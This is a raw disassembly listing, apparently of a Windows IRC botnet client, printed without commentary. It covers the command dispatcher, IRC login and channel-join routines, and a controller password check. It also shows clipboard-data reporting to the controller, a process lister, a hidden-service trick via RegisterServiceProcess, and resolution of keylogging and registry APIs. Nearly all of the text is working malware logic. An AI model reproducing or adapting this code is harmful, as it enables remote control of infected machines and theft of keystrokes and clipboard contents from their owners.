--------------------------------------------------------------------------- loc_40C75B: ; CODE XREF: sub_4087B3+3F9Ej push 8 call sub_40128A loc_40C762: ; CODE XREF: sub_4087B3+3FA6j cmp eax, ebx pop ecx jz loc_40D023 push eax push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_4010EB jmp loc_40CBA6 ; --------------------------------------------------------------------------- loc_40C782: ; CODE XREF: sub_4087B3+122Cj ; sub_4087B3+1241j mov eax, dword_491584 cmp eax, ebx jz short loc_40C79F call eax ; DnsFlushResolverCache test eax, eax jz short loc_40C798 push offset dword_42DBC0 jmp short loc_40C7B4 ; --------------------------------------------------------------------------- loc_40C798: ; CODE XREF: sub_4087B3+3FDCj push offset dword_42DB80 jmp short loc_40C7B4 ; --------------------------------------------------------------------------- loc_40C79F: ; CODE XREF: sub_4087B3+3FD6j push offset dword_42DB40 jmp short loc_40C7B4 ; --------------------------------------------------------------------------- loc_40C7A6: ; CODE XREF: sub_4087B3+1202j ; sub_4087B3+1217j call sub_40101E test eax, eax jz short loc_40C7CA push offset dword_42DB08 loc_40C7B4: ; CODE XREF: sub_4087B3+3FE3j ; sub_4087B3+3FEAj ... lea eax, [ebp+var_2E4] push 200h push eax call sub_4163D7 jmp loc_40CF01 ; --------------------------------------------------------------------------- loc_40C7CA: ; CODE XREF: sub_4087B3+3FFAj push offset dword_42DAC8 jmp short loc_40C7B4 ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_4087B3+11D8j ; sub_4087B3+11EDj cmp [ebp+var_8], ebx jnz short loc_40C7F0 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h loc_40C7F0: ; CODE XREF: sub_4087B3+4021j push ebx push [ebp+var_4] call sub_4012C1 push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 push offset dword_42DA84 jmp loc_40CA75 ; --------------------------------------------------------------------------- loc_40C812: ; CODE XREF: sub_4087B3+1127j ; sub_4087B3+113Cj push [ebp+var_8] push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_4010DC jmp loc_408B74 ; --------------------------------------------------------------------------- loc_40C82B: ; CODE XREF: sub_4087B3+10FDj ; sub_4087B3+1112j push [ebp+esi+var_9C] push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_40134D jmp loc_408B74 ; --------------------------------------------------------------------------- loc_40C848: ; CODE XREF: sub_4087B3+10D3j ; sub_4087B3+10E8j or edi, 0FFFFFFFFh call ds:dword_495340 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_9C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40C871 push esi call sub_416CCF pop ecx mov edi, eax loc_40C871: ; CODE XREF: sub_4087B3+40B3j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40C88A cmp edi, 0FFFFFFFFh jnz loc_40D023 loc_40C88A: ; CODE XREF: sub_4087B3+40CCj push ebx call sub_4011AE push eax lea eax, [ebp+var_2E4] push offset dword_42DA5C push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 lea eax, [ebp+var_2E4] push eax call sub_401014 loc_40C8C7: ; CODE XREF: sub_4087B3+252Dj add esp, 28h jmp loc_40D023 ; --------------------------------------------------------------------------- loc_40C8CF: ; CODE XREF: sub_4087B3+10A9j ; sub_4087B3+10BEj push 1Eh call sub_4010E6 test eax, eax pop ecx jle short loc_40C903 cmp [ebp+var_8], ebx jnz loc_408B77 push ebx push [ebp+var_4] push offset unk_42DA2C push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h jmp loc_408B77 ; --------------------------------------------------------------------------- loc_40C903: ; CODE XREF: sub_4087B3+4126j push [ebp+var_98] lea eax, [ebp+var_4DC] push 80h push eax call sub_4163D7 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_9C] mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_450], eax mov [ebp+var_458], ebx jz short loc_40C964 push esi push offset aFull ; "full" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_40C964 mov [ebp+var_458], 1 loc_40C964: ; CODE XREF: sub_4087B3+4194j ; sub_4087B3+41A5j lea eax, [ebp+var_2E4] push offset dword_42D9F4 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 1Eh push eax call sub_40105F add esp, 14h mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_401316 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40C9D2 loc_40C9BC: ; CODE XREF: sub_4087B3+421Dj cmp [ebp+var_44C], ebx jnz loc_40CEDA push 32h call ds:dword_495324 ; Sleep jmp short loc_40C9BC ; --------------------------------------------------------------------------- loc_40C9D2: ; CODE XREF: sub_4087B3+4207j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42D9A0 jmp loc_40CECB ; --------------------------------------------------------------------------- loc_40C9E3: ; CODE XREF: sub_4087B3+107Fj ; sub_4087B3+1094j cmp [ebp+var_8], ebx jnz short loc_40CA02 push ebx push [ebp+var_4] push offset dword_42D974 push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h loc_40CA02: ; CODE XREF: sub_4087B3+4233j push [ebp+arg_4] call dword_4916F4 ; closesocket call dword_4915BC ; WSACleanup call sub_401122 push ebx call ds:dword_495350 ; ExitProcess loc_40CA1D: ; CODE XREF: sub_4087B3+1055j ; sub_4087B3+106Aj push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40125D pop ecx pop ecx push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 push offset dword_42D94C jmp short loc_40CA75 ; --------------------------------------------------------------------------- loc_40CA48: ; CODE XREF: sub_4087B3+102Bj ; sub_4087B3+1040j push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_401302 add esp, 0Ch push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 push offset dword_42D920 loc_40CA75: ; CODE XREF: sub_4087B3+405Aj ; sub_4087B3+4293j call sub_401014 loc_40CA7A: ; CODE XREF: sub_4087B3+3065j add esp, 18h jmp loc_40D023 ; --------------------------------------------------------------------------- loc_40CA82: ; CODE XREF: sub_4087B3+1001j ; sub_4087B3+1016j push [ebp+var_8] push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_4010AF jmp loc_408B74 ; --------------------------------------------------------------------------- loc_40CA9B: ; CODE XREF: sub_4087B3+FD7j ; sub_4087B3+FECj cmp [ebp+var_C], ebx mov [ebp+var_374], bl jz short loc_40CADA mov esi, [ebp+esi+var_9C] cmp esi, ebx jz short loc_40CADA push esi push [ebp+var_C] call sub_417760 pop ecx cmp eax, ebx pop ecx jz short loc_40CADA push eax push offset aS_2 ; "%s" lea eax, [ebp+var_374] push 80h push eax call sub_4163D7 add esp, 10h loc_40CADA: ; CODE XREF: sub_4087B3+42F1j ; sub_4087B3+42FCj ... push [ebp+var_98] lea eax, [ebp+var_3F4] push 80h push eax call sub_4163D7 mov eax, [ebp+arg_4] push offset dword_42D8F8 mov [ebp+var_3F8], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax mov eax, [ebp+var_8] mov [ebp+var_2EC], eax lea eax, [ebp+var_2E4] push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 1Ch push eax call sub_40105F add esp, 20h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8] push ebx push eax push offset loc_40114A push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40CB7A loc_40CB64: ; CODE XREF: sub_4087B3+43C5j cmp [ebp+var_2E8], ebx jnz loc_408B77 push 32h call ds:dword_495324 ; Sleep jmp short loc_40CB64 ; --------------------------------------------------------------------------- loc_40CB7A: ; CODE XREF: sub_4087B3+43AFj call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42D8A8 jmp loc_408D60 ; --------------------------------------------------------------------------- loc_40CB8B: ; CODE XREF: sub_4087B3+FADj ; sub_4087B3+FC2j push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_401028 push offset dword_42D880 call sub_401014 loc_40CBA6: ; CODE XREF: sub_4087B3+3FCAj add esp, 10h jmp loc_40D023 ; --------------------------------------------------------------------------- loc_40CBAE: ; CODE XREF: sub_4087B3+F83j ; sub_4087B3+F98j push [ebp+var_98] lea eax, [ebp+var_4DC] push 80h push eax call sub_4163D7 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_9C] mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_450], eax jz short loc_40CC08 push offset dword_42D87C push esi call sub_416B70 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_458], eax jmp short loc_40CC0E ; --------------------------------------------------------------------------- loc_40CC08: ; CODE XREF: sub_4087B3+4439j mov [ebp+var_458], ebx loc_40CC0E: ; CODE XREF: sub_4087B3+4453j lea eax, [ebp+var_2E4] push offset dword_42D84C push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 1Fh push eax call sub_40105F add esp, 14h mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_4011E5 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40CC78 loc_40CC66: ; CODE XREF: sub_4087B3+44C3j cmp [ebp+var_44C], ebx jnz short loc_40CC93 push 32h call ds:dword_495324 ; Sleep jmp short loc_40CC66 ; --------------------------------------------------------------------------- loc_40CC78: ; CODE XREF: sub_4087B3+44B1j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42D7FC loc_40CC84: ; CODE XREF: sub_4087B3+35A0j lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 0Ch loc_40CC93: ; CODE XREF: sub_4087B3+1F0Cj ; sub_4087B3+1F2Ej ... lea eax, [ebp+var_2E4] push eax loc_40CC9A: ; CODE XREF: sub_4087B3+11C4j call sub_401014 pop ecx jmp loc_40D023 ; --------------------------------------------------------------------------- loc_40CCA5: ; CODE XREF: sub_4087B3+F07j ; sub_4087B3+F1Cj push offset dword_42C954 lea eax, [ebp+var_2E4] push offset dword_42D7D4 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 20h jmp loc_40B5AF ; --------------------------------------------------------------------------- loc_40CCDC: ; CODE XREF: sub_4087B3+EDDj ; sub_4087B3+EF2j push dword_4834B0 call sub_4011AE push eax lea eax, [ebp+var_2E4] push offset unk_42D794 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 24h jmp loc_40B5AF ; --------------------------------------------------------------------------- loc_40CD1A: ; CODE XREF: sub_4087B3+EB3j ; sub_4087B3+EC8j mov esi, [ebp+esi+var_9C] cmp esi, ebx jz short loc_40CD4C cmp [ebp+var_C], ebx jz short loc_40CD5B push esi push [ebp+var_C] call sub_417760 pop ecx cmp eax, ebx pop ecx jz short loc_40CD5B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_401032 add esp, 0Ch jmp short loc_40CD5B ; --------------------------------------------------------------------------- loc_40CD4C: ; CODE XREF: sub_4087B3+4570j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_401032 pop ecx pop ecx loc_40CD5B: ; CODE XREF: sub_4087B3+4575j ; sub_4087B3+4584j ... push 0FFFFFFFEh jmp loc_408B79 ; --------------------------------------------------------------------------- loc_40CD62: ; CODE XREF: sub_4087B3+E89j ; sub_4087B3+E9Ej push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_401032 push offset dword_42D73C call sub_401014 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_408B7A ; --------------------------------------------------------------------------- loc_40CD84: ; CODE XREF: sub_4087B3+E5Fj ; sub_4087B3+E74j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_401032 push offset dword_42D6F4 call sub_401014 add esp, 0Ch xor eax, eax jmp loc_408B7A ; --------------------------------------------------------------------------- loc_40CDA5: ; CODE XREF: sub_4087B3+E35j ; sub_4087B3+E4Aj push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_4011CC loc_40CDB6: ; CODE XREF: sub_4087B3+2FCCj add esp, 0Ch jmp loc_40D023 ; --------------------------------------------------------------------------- loc_40CDBE: ; CODE XREF: sub_4087B3+DB9j ; sub_4087B3+DCEj push [ebp+esi+var_9C] push 1Eh push offset aProcessList ; "Process list" push offset dword_42D6C8 jmp loc_4094A3 ; --------------------------------------------------------------------------- loc_40CDD6: ; CODE XREF: sub_4087B3+C87j ; sub_4087B3+C9Cj ... push edi push offset aSecure ; "secure" call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_40CDFE push edi push offset aSec ; "sec" call sub_416B70 pop ecx mov [ebp+var_458], ebx test eax, eax pop ecx jnz short loc_40CE08 loc_40CDFE: ; CODE XREF: sub_4087B3+4632j mov [ebp+var_458], 1 loc_40CE08: ; CODE XREF: sub_4087B3+4649j push [ebp+var_98] lea eax, [ebp+var_4DC] push 80h push eax call sub_4163D7 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_458], ebx mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] mov [ebp+var_450], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40CE4F mov eax, offset aUnsecuring ; "Unsecuring" loc_40CE4F: ; CODE XREF: sub_4087B3+4695j push eax push offset dword_42D680 lea eax, [ebp+var_2E4] push 200h push eax call sub_4163D7 push ebx lea eax, [ebp+var_2E4] push 19h push eax call sub_40105F add esp, 1Ch mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_401127 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40CEBF loc_40CEAD: ; CODE XREF: sub_4087B3+470Aj cmp [ebp+var_44C], ebx jnz short loc_40CEDA push 32h call ds:dword_495324 ; Sleep jmp short loc_40CEAD ; --------------------------------------------------------------------------- loc_40CEBF: ; CODE XREF: sub_4087B3+46F8j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42D2AC loc_40CECB: ; CODE XREF: sub_4087B3+422Bj lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 0Ch loc_40CEDA: ; CODE XREF: sub_4087B3+1F7Dj ; sub_4087B3+2A33j ... lea eax, [ebp+var_2E4] push eax call sub_401014 jmp loc_408D66 ; --------------------------------------------------------------------------- loc_40CEEB: ; CODE XREF: sub_4087B3+C5Dj ; sub_4087B3+C72j push offset aXPsy ; "X Psy" push offset dword_42D664 loc_40CEF5: ; CODE XREF: sub_4087B3+3481j ; sub_4087B3+3660j ... lea eax, [ebp+var_2E4] push eax call sub_416821 loc_40CF01: ; CODE XREF: sub_4087B3+4012j add esp, 0Ch jmp loc_40A0FB ; --------------------------------------------------------------------------- loc_40CF09: ; CODE XREF: sub_4087B3+C33j ; sub_4087B3+C48j mov esi, [ebp+esi+var_9C] cmp esi, ebx jz short loc_40CF63 push esi call sub_416CCF cmp eax, ebx pop ecx jl short loc_40CF5B cmp eax, 5 jge short loc_40CF5B mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40CF53 lea eax, [esi+1] push eax lea eax, [ebp+var_2E4] push offset unk_42F93C push eax call sub_416821 add esp, 0Ch mov [esi], bl jmp loc_40B330 ; --------------------------------------------------------------------------- loc_40CF53: ; CODE XREF: sub_4087B3+477Fj push eax push offset unk_42D624 jmp short loc_40CFA0 ; --------------------------------------------------------------------------- loc_40CF5B: ; CODE XREF: sub_4087B3+476Aj ; sub_4087B3+476Fj push eax push offset unk_42D5E4 jmp short loc_40CFA0 ; --------------------------------------------------------------------------- loc_40CF63: ; CODE XREF: sub_4087B3+475Fj mov edi, [ebp+arg_18] xor esi, esi loc_40CF68: ; CODE XREF: sub_4087B3+47D1j push [ebp+var_A0] push edi call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_40CF8B inc esi add edi, 80h cmp esi, 5 jl short loc_40CF68 jmp loc_40B330 ; --------------------------------------------------------------------------- loc_40CF8B: ; CODE XREF: sub_4087B3+47C5j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42F93C loc_40CFA0: ; CODE XREF: sub_4087B3+1661j ; sub_4087B3+1691j ... lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 0Ch jmp loc_40B330 ; --------------------------------------------------------------------------- loc_40CFB4: ; CODE XREF: sub_4087B3+C09j ; sub_4087B3+C1Ej push [ebp+var_9C] push offset a332 ; "332" call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_40D023 call sub_401109 push ebx call ds:dword_495350 ; ExitProcess loc_40CFD6: ; CODE XREF: sub_4087B3+BDFj ; sub_4087B3+BF4j push [ebp+esi+var_9C] xor eax, eax cmp [ebp+var_9A4], bl setnz al push eax lea eax, [ebp+var_564] push dword_42C92C push eax call sub_401343 lea eax, [ebp+var_564] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_401032 lea eax, [ebp+var_564] push eax push offset unk_42D5B0 call sub_4012B2 add esp, 24h loc_40D023: ; CODE XREF: sub_4087B3+65Cj ; sub_4087B3+668j ... mov eax, [ebp+arg_24] jmp loc_408B7A ; --------------------------------------------------------------------------- loc_40D02B: ; CODE XREF: sub_4087B3+6EBj ; sub_4087B3+700j mov esi, [ebp+esi+var_9C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_408B77 cmp [ebp+var_AC], ebx jnz loc_408B77 push offset asc_42F9BC ; "!" push [ebp+var_A0] call sub_4176C0 mov esi, eax push offset dword_4370B8 push ebx inc esi call sub_4176C0 push offset asc_42D5AC ; "~" push eax call sub_4176C0 push [ebp+arg_10] mov edi, eax push offset aAscl33t ; "ascl33t" call sub_416B70 add esp, 20h test eax, eax jz short loc_40D0D3 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSFailed_ ; "NOTICE %s :Failed. (%s!%s).\r\n" push [ebp+arg_4] call sub_401032 lea eax, [ebp+var_C4] push eax push offset aNoticeSFaile_0 ; "NOTICE %s :Failed.\r\n" push [ebp+arg_4] call sub_401032 push edi push esi push offset unk_42D52C loc_40D0BF: ; CODE XREF: sub_4087B3+497Cj lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 30h jmp loc_40B351 ; --------------------------------------------------------------------------- loc_40D0D3: ; CODE XREF: sub_4087B3+48D3j mov [ebp+arg_24], offset off_42C9E4 loc_40D0DA: ; CODE XREF: sub_4087B3+4943j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_401113 pop ecx test eax, eax pop ecx jnz short loc_40D131 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42C9E8 jl short loc_40D0DA lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSFailed_ ; "NOTICE %s :Failed. (%s!%s).\r\n" push [ebp+arg_4] call sub_401032 lea eax, [ebp+var_C4] push eax push offset aNoticeSFaile_0 ; "NOTICE %s :Failed.\r\n" push [ebp+arg_4] call sub_401032 push edi push esi push offset unk_42D4EC jmp short loc_40D0BF ; --------------------------------------------------------------------------- loc_40D131: ; CODE XREF: sub_4087B3+4936j mov edi, [ebp+arg_18] xor esi, esi loc_40D136: ; CODE XREF: sub_4087B3+49ADj cmp [ebp+arg_10], ebx jz loc_408B77 cmp [edi], bl jnz short loc_40D156 push [ebp+arg_10] push offset aAscl33t ; "ascl33t" call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_40D167 loc_40D156: ; CODE XREF: sub_4087B3+498Ej inc esi add edi, 80h cmp esi, 5 jl short loc_40D136 jmp loc_408B77 ; --------------------------------------------------------------------------- loc_40D167: ; CODE XREF: sub_4087B3+49A1j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_A94] push 7Fh push eax push esi call sub_416A10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40D19E push ebx push [ebp+var_4] push offset unk_42D4BC push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h loc_40D19E: ; CODE XREF: sub_4087B3+49CFj lea eax, [ebp+var_C4] push eax push offset unk_42D488 jmp loc_408D60 ; --------------------------------------------------------------------------- loc_40D1AF: ; CODE XREF: sub_4087B3+20Ej ; sub_4087B3+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_401032 push offset aXRi ; "-x+Ri" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_401032 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_401032 add esp, 2Ch mov dword_483630, edi jmp loc_408A50 sub_4087B3 endp ; --------------------------------------------------------------------------- db 1290h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E485 proc near ; CODE XREF: sub_401032j var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_416BF4 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4916AC ; send leave retn sub_40E485 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E4DC proc near ; CODE XREF: sub_4010D2j var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40E4F7 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40E4F7: ; CODE XREF: sub_40E4DC+14j push edi call sub_4158E0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_4158E0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_2 ; "%s" push esi push eax call sub_4163D7 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_1 ; "%s %s :%s\r\n" push eax call sub_416821 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4916AC ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40E575 push 7D0h call ds:dword_495324 ; Sleep locret_40E575: ; CODE XREF: sub_40E4DC+8Cj leave retn sub_40E4DC endp ; --------------------------------------------------------------------------- db 26h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E59D proc near ; CODE XREF: sub_4012F3j push ebx push ebp mov ebp, ds:dword_4953A8 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_4953C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40E6BD push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_491708, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_49167C, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_491660, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_49157C, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_491528, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_491558, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4915CC, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4916BC, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_491718, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_491588, eax call esi ; GetProcAddress cmp dword_491708, ebx mov dword_491570, eax jz short loc_40E69B cmp dword_49167C, ebx jz short loc_40E69B cmp dword_491660, ebx jz short loc_40E69B cmp dword_49157C, ebx jz short loc_40E69B cmp dword_491558, ebx jz short loc_40E69B cmp dword_4915CC, ebx jz short loc_40E69B cmp dword_4916BC, ebx jz short loc_40E69B cmp dword_491718, ebx jz short loc_40E69B cmp dword_491588, ebx jz short loc_40E69B cmp eax, ebx jnz short loc_40E6A5 loc_40E69B: ; CODE XREF: sub_40E59D+B8j ; sub_40E59D+C0j ... mov dword_49171C, 1 loc_40E6A5: ; CODE XREF: sub_40E59D+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_491694, eax jz short loc_40E6D2 push 1 push ebx call eax ; DnsFlushResolverCache jmp short loc_40E6D2 ; --------------------------------------------------------------------------- loc_40E6BD: ; CODE XREF: sub_40E59D+1Dj call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491720, eax mov dword_49171C, 1 loc_40E6D2: ; CODE XREF: sub_40E59D+117j ; sub_40E59D+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_4953C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40E7E7 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4916B8, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_491668, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4915FC, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_49170C, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_49162C, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_49164C, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4916B0, eax call esi ; GetProcAddress cmp dword_4916B8, ebx mov dword_4915A4, eax jz short loc_40E78B cmp dword_491668, ebx jz short loc_40E78B cmp dword_4915FC, ebx jz short loc_40E78B cmp dword_49170C, ebx jz short loc_40E78B cmp dword_49162C, ebx jz short loc_40E78B cmp dword_49164C, ebx jz short loc_40E78B cmp dword_4916B0, ebx jz short loc_40E78B cmp eax, ebx jnz short loc_40E795 loc_40E78B: ; CODE XREF: sub_40E59D+1B8j ; sub_40E59D+1C0j ... mov dword_491724, 1 loc_40E795: ; CODE XREF: sub_40E59D+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_491628, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_49153C, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4915F8, eax call esi ; GetProcAddress cmp dword_491628, ebx mov dword_4915E4, eax jz short loc_40E7F2 cmp dword_49153C, ebx jz short loc_40E7F2 cmp dword_4915F8, ebx jz short loc_40E7F2 cmp eax, ebx jnz short loc_40E7FC jmp short loc_40E7F2 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E59D+144j call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491728, eax loc_40E7F2: ; CODE XREF: sub_40E59D+232j ; sub_40E59D+23Aj ... mov dword_491724, 1 loc_40E7FC: ; CODE XREF: sub_40E59D+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40E997 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4916CC, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_491610, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_491680, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_491568, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4915C8, eax call esi ; GetProcAddress cmp dword_4916CC, ebx mov dword_491638, eax jz short loc_40E887 cmp dword_491610, ebx jz short loc_40E887 cmp dword_491680, ebx jz short loc_40E887 cmp 